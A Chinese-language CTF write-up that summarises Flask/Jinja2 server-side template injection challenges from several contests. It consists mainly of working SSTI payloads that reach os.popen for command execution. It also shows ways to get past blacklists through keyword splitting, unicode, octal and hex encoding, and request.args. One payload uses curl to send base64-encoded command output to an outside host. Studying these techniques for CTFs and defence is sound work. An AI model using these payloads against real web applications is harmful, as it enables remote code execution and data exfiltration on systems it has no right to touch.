近期ssti题目总结

分析下近期做过的ssti题目的思路

你的名字 题目分析

打开题目 发现输入名字

尝试输入4

报了一个php的错误

继续尝试

1
{% print 2*5 %}

成功.

下面将尝试利用ssti进行文件读取/命令执行

尝试

1
{%print config%}

失败,返回值为空

尝试多个关键字后,发现是对黑名单关键词采取了置空的方法进行过滤,那么可以考虑在关键字中加入另一个关键字的方式,如 iconfigf 代表if。

首先获得所有子类

payload:

1
{% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()%}

拿到所有子类后,查找init global存在os模块的类,常见的是catch_warnings类

我这里用的是笨方法,将所有的子类打印出来后放到sublime里面找到的catch_warings类的下标为59

下面将进一步利用该类实现命令执行。

1
2
3
4
5
6
7
{% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()[59].__init__.__gloconfigbals__.linecaconfigche%}

{% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()[59].__init__.__gloconfigbals__.linecaconfigche.oconfigs.popconfigen('curl 172.16.157.75:7777 -d `ls / |base64` ')%}

通过curl外带命令执行的结果,获得了外带的根目录ls的结果,发现了flag的存放位置,直接getflag。

{% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()[59].__init__.__gloconfigbals__.linecaconfigche.oconfigs.popconfigen('curl 172.16.157.75:7777 -d `tail /flag_1s_Hera|base64`')%}

题外话

介绍popen的用法

popen方法在os模块下,使用前需要import os

popen是从一个命令打开一个管道,返回值意味着执行结果,正常执行的话返回值为0

popen在ssti中常作为替代system进行命令执行的一种方式,现演示popen用法

在此例中可以看到,调用os.popen.read()方法会返回执行系统命令的结果,而不是执行成功的返回值0

popen方法中subprocess模块下也有。

安洵杯 normal_ssti

首先看过滤了哪些关键字

使用burp fuzz关键字,发现过滤了很多的关键字

1
首先看过滤了{{,可以使用{%print%}

的方式执行表达式

过滤了空格,可以用小括号的方式绕过

1
{%print(1)%}

这里还过滤了. 可以用a t t r()绕过

其他的关键字可以考虑使用unicode编码绕过

lipsum方法globlas-builtins中存在os模块,可以直接执行命令。

首先构造未编码payload:

1
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")())%}

然后构造编码payload:

1
2
3
4
5
6
7
http://localhost:5050/test?url={%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0077\u0068\u006f\u0061\u006d\u0069")|attr("\u0072\u0065\u0061\u0064")())%}

接下来尝试读取flag:

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat<>/flag")|attr("read")())%}

http://localhost:5050/test?url={%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("\u0072\u0065\u0061\u0064")())%}

另一种思路

看了师傅们的解法,我在尝试另一种编码绕过的方式解决这个问题

1
2
3
4
5
payload1:http://127.0.0.1:5050/test?url={%print(1|attr(%22\137\137class\137\137%22)|attr(%22\137\137mro\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(1)|attr(%22\137\137subclasses\137\137%22)()|attr(%22\137\137\147etitem\137\137%22)(186)|attr(%22\137\137init\137\137%22)|attr(%22\137\137\147lobals\137\137%22)|attr("\137\137\147etitem\137\137")("sys")|attr("modules")|attr("\137\137\147etitem\137\137")("os")|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)())%}

payload2:

http://127.0.0.1:5050/test?url={%print(a|attr(%22\137\137init\137\137%22)|attr(%22\137\137\147lobals\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(%22sys%22)|attr(%22modules%22)|attr(%22\137\137\147etitem\137\137%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)())%}

上述两种方法是通过找sys模块中的os进行命令执行。(膜一下师傅:)

nctf 2020 ssti

1
blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get']

懒了,改一下上题的blacklist继续跑(doge

先用bp fuzz一下,发现过滤了很多关键字。

根据上题思路,尝试unicode绕过对关键字的过滤,如

class -> \u0063\u006c\u0061\u0073\u0073

这种方法可以成功bypass。

官方wp的方法是用十六进制绕过,也是可以的,下面是用16进制绕过的pld:

1
http://10.90.89.27:5050/test?url={{%22%22[%22\x5f\x5fcla%22+%22ss\x5f\x5f%22][%22\x5f\x5fmr%22+%22o\x5f\x5f%22][1][%22\x5f\x5fsubcla%22+%22sses\x5f\x5f%22]()[186][%22\x5f\x5fin%22+%22it\x5f\x5f%22][%22\x5f\x5fgloba%22+%22ls\x5f\x5f%22][%22sys%22][%22modules%22][%22os%22][%22popen%22](%22cat%3C%3E/flag%22)[%22read%22]()}}

unctf2020 ssti

blacklist:

1
[ ] ' " _

绕过方法:

1
2
3
[] : __getitem__
'和": request.args.xxx
_: |attr()
1
Payload:http://192.168.0.116:5000/?url={{()|attr(request.args.class)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.subclass)()|attr(request.args.getitem)(186)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.sys)|attr(request.args.mod)|attr(request.args.getitem)(request.args.os)|attr(request.args.popen)(request.args.whoami)|attr(request.args.read)()}}&class=__class__&mro=__mro__&getitem=__getitem__&&subclass=__subclasses__&init=__init__&globals=__globals__&sys=sys&mod=modules&os=os&popen=popen&whoami=whoami&read=read

nctf 2020 你就是我的master吗

blacklist:

1
' . _ class base subclasses request

绕过方法:

1
2
3
4
' :  ""
. :["xxx"]
_:八进制 十六进制 Unicode 绕过 八进制如\137
关键字: 字符串拼接 如 "cla"+"ss"

Payload:

1
2
http://192.168.1.103:5000/?
url={{0["\137\137cla"+"ss\137\137"]["\137\137mro\137\137"][1]["\137\137subclas"+"ses\137\137"]()[186]["\137\137init\137\137"]["\137\137globals\137\137"]["sys"]["modules"]["os"]["popen"]("ls")["read"]()}}

总结

flask/jinja2渲染殷勤的ssti问题考察更多的是对builtins函数/模块的使用以及了解程度,各种绕过过滤技巧 换而言之是对python语言基础语法的理解程度和面向对象思想的熟练程度。